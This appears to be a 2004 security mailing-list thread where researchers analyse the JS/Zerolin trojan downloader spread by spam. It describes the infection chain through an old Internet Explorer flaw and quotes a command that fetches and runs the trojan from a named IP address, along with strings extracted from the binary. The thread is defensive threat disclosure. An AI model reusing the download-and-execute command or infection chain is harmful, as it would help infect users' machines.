Likes: 0
There are incoming reports of a JS/Zerolin (java script virus). Anyone
else seeing this ? (I have no further information yet).
=================================================
Travis
www.cyberabuse.org/crimewatch
Email: Bonk@chatsystems.com | Bonk@cyberabuse.org
=================================================
/"\
\ /
X ASCII Ribbon Campaign
/ \ Against HTML Email
On Fri, 13 Aug 2004, Nicolas Gregoire wrote:
Nicholas,
Thanks for the insight. I've received several replies telling me to look
at McAfee (yadda-yadda) and other sites. I am well aware of the Zerolin
VBS script as I researched it before posting. You've provided what
insight I was looking for on the java script side.
Mark, I think this is what we're looking for. Also, keep us updated as to
what else you see as this could very well be a new version and they are
indeed 'testing'.
Thanks again,
-th
<snip>
> Hi,
>
> I've seen theses emails since last Friday, and my gateway has since
> received around 200 of them. KAV and ClamAV detect them as
> "TrojanDropper.VBS.Zerolin"
>
> It appears that a small Jscript.Encoded code is hidden at the botton of
> a false (true ?) spam. After several redirections, un ss.exe file is
> downloaded. This file is detected as following :
>
> KAV : Trojan.Win32.Genme.c
> Trend : not detected
> ClamAV : Trojan.Xebiz.A
> F-Prot : W32/Xebiz.A
> NAI : not detected
>
> Regards,
> --
> Nicolas Gregoire ----- Consultant en S=E9curit=E9 des Syst=E8mes d'Inform=
ation
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D
Travis
www.cyberabuse.org/crimewatch
Email: Bonk@chatsystems.com | Bonk@cyberabuse.org
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D
/"\
\ /
X ASCII Ribbon Campaign
/ \ Against HTML Email
Le jeu 12/08/2004 à 17:37, T.H. Haymore a écrit :
> There are incoming reports of a JS/Zerolin (java script virus). Anyone
> else seeing this ? (I have no further information yet).
Hi,
I've seen theses emails since last Friday, and my gateway has since
received around 200 of them. KAV and ClamAV detect them as
"TrojanDropper.VBS.Zerolin"
It appears that a small Jscript.Encoded code is hidden at the botton of
a false (true ?) spam. After several redirections, un ss.exe file is
downloaded. This file is detected as following :
KAV : Trojan.Win32.Genme.c
Trend : not detected
ClamAV : Trojan.Xebiz.A
F-Prot : W32/Xebiz.A
NAI : not detected
>From the Symantec website :
http://securityresponse.symantec.com...oor.xebiz.html
A large scale spamming of messages contained a link to a Web page
hosting the backdoor. Following the link downloads the file Links.HTA,
which in turn downloads and executes the Trojan as ss.exe
Regards,
--
Nicolas Gregoire ----- Consultant en Sécurité des Systèmes d'Information
ngregoire@exaprobe.com ------[ ExaProbe ]------ http://www.exaprobe.com/
PGP KeyID:CA61B44F FingerPrint:1CC647FF1A55664BA2D2AFDACA6A21DACA61B4 4F
In-Reply-To: <1092386306.752.36.camel@bobby.exaprobe.com>
>Nicolas Gregoire wrote :
>I've seen theses emails since last Friday, and my gateway has since
>received around 200 of them. KAV and ClamAV detect them as
>"TrojanDropper.VBS.Zerolin"
>
>It appears that a small Jscript.Encoded code is hidden at the botton of
>a false (true ?) spam. After several redirections, un ss.exe file is
>downloaded. This file is detected as following :
>
>KAV : Trojan.Win32.Genme.c
>Trend : not detected
>ClamAV : Trojan.Xebiz.A
>F-Prot : W32/Xebiz.A
>NAI : not detected
>
>>From the Symantec website :
>
>http://securityresponse.symantec.com...oor.xebiz.html
>A large scale spamming of messages contained a link to a Web page
>hosting the backdoor. Following the link downloads the file Links.HTA,
>which in turn downloads and executes the Trojan as ss.exe
>
note that, only unpatched systems (running Internet Explorer) are vulnerable to this trojan downloader [Object Data tag vulnerability (MS03-040), MHTML URL vulnerability (MS04-013) and the ADODB.Stream Vuln. (MS04-025)]
Regards.
Chaouki Bekrar - Security Consultant
Co-Founder of K-OTik Security Survey 24/7
http://www.k-otik.com
Nicholas was kind enough to provide me with a sample of Zerolin.
Anyone who is even remotely up-to-date with their patches will not be =
affected by this. At the end of the email is a short piece of encoded =
Jscript code which when decoded outputs a hidden iframe that retrieves =
the following URL:
http://202.99.172.153/link.html
Don't click the link, it is still live.=20
Following a lot of pagebreaks is an attempt to exploit the Object Data =
vulnerability that was fixed by MS03-040. If successful, this launches =
MSHTA.EXE which executes the code provided by =
http://202.99.172.153/link.php which in turn outputs an embedded file to =
C:\x.exe after which it executes the following command:
C:\x.exe http://202.99.172.153/ss.exe
Here's some of the more interesting strings from that file which =
suggests Zerolin talks back to index.php on that same IP to notify its =
owner of a compromised machine:
CoCreateGuid
StringFromCLSID
ole32.dll
wsprintfA
CreateWindowExA
DefWindowProcA
DispatchMessageA
GetMessageA
KillTimer
LoadCursorA
LoadIconA
PostQuitMessage
RegisterClassExA
SendMessageA
SetTimer
SetWindowsHookExA
TranslateMessage
UnhookWindowsHookEx
USER32.dll
CloseHandle
CopyFileA
CreateMutexA
CreateProcessA
CreateThread
DeleteFileA
ExitProcess
FreeLibrary
GetCommandLineA
GetCurrentProcess
GetFileSize
GetModuleFileNameA
GetModuleHandleA
GetProcAddress
GetSystemDirectoryA
GetTickCount
GetVersionExA
GlobalAlloc
GlobalFree
LoadLibraryA
OpenMutexA
ReleaseMutex
Sleep
TerminateProcess
WaitForSingleObject
WinExec
_lclose
_lcreat
_lopen
_lread
_lwrite
lstrcatA
lstrcmpA
lstrcpyA
lstrlenA
KERNEL32.dll
InitializeAcl
IsValidAcl
RegCloseKey
RegCreateKeyA
RegOpenKeyExA
RegQueryValueExA
RegSetValueExA
SetSecurityInfo
ADVAPI32.dll
WS2_32.dll
%lu
Timer UP
Timer Down
&Name=3D
http://
/index.php?Client=3D
close
SSClass
SSIcon
kernel32.dll
RegisterServiceProcess
\dss.dll
\dssa.dll
dssa.dll
\ss.dat
\ss.dop
202.99.
CLSID\
\InProcServer32
Software\Microsoft\Windows\CurrentVersion\ShellSer viceObjectDelayLoad
172.153
Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE
Default
AutoProc
ss.exe
\ss.exe
one
CallNextHookEx
USER32.dll
GetSystemDirectoryA
WinExec
lstrcatA
KERNEL32.dll
dss.dll
AutoProc
\ss.exe
FindWindowA
SendMessageA
USER32.dll
DeleteFileA
GetFileSize
GetSystemDirectoryA
GlobalAlloc
GlobalFree
WinExec
_lclose
_lcreat
_lopen
_lread
_lwrite
lstrcatA
lstrcpyA
KERNEL32.dll
dssa.dll
AutoProc
\ss.exe
\ss.dat
\ss.dop
Regards
Thor Larholm
Senior Security Researcher
PivX Solutions
23 Corporate Plaza #280
Newport Beach, CA 92660
http://www.pivx.com
thor@pivx.com
Stock symbol: (PIVX.OB)
Phone: +1 (949) 231-8496
PGP: 0x4207AEE9
B5AB D1A4 D4FD 5731 89D6 20CD 5BDB 3D99 4207 AEE9
PivX defines a new genre in Desktop Security: Proactive Threat =
Mitigation.=20
<http://www.pivx.com/qwikfix>
=20
-----Original Message-----
From: T.H. Haymore [mailto:bonk@webchat.chatsystems.com]=20
Sent: Friday, August 13, 2004 7:51 AM
To: Nicolas Gregoire
Cc: bugtraq@securityfocus.com; Mark.Amos@owenscorning.com
Subject: Re: JS/Zerolin
On Fri, 13 Aug 2004, Nicolas Gregoire wrote:
Nicholas,
Thanks for the insight. I've received several replies telling me to =
look at McAfee (yadda-yadda) and other sites. I am well aware of the =
Zerolin VBS script as I researched it before posting. You've provided =
what insight I was looking for on the java script side.
Mark, I think this is what we're looking for. Also, keep us updated as =
to what else you see as this could very well be a new version and they =
are indeed 'testing'.
Thanks again,
-th
<snip>
> Hi,
>
> I've seen theses emails since last Friday, and my gateway has since=20
> received around 200 of them. KAV and ClamAV detect them as=20
> "TrojanDropper.VBS.Zerolin"
>
> It appears that a small Jscript.Encoded code is hidden at the botton=20
> of a false (true ?) spam. After several redirections, un ss.exe file=20
> is downloaded. This file is detected as following :
>
> KAV : Trojan.Win32.Genme.c
> Trend : not detected
> ClamAV : Trojan.Xebiz.A
> F-Prot : W32/Xebiz.A
> NAI : not detected
>
> Regards,
> --
> Nicolas Gregoire ----- Consultant en S=E9curit=E9 des Syst=E8mes=20
> d'Information
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D
Travis
www.cyberabuse.org/crimewatch
Email: Bonk@chatsystems.com | Bonk@cyberabuse.org =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D
/"\
\ /
X ASCII Ribbon Campaign
/ \ Against HTML Email
Quote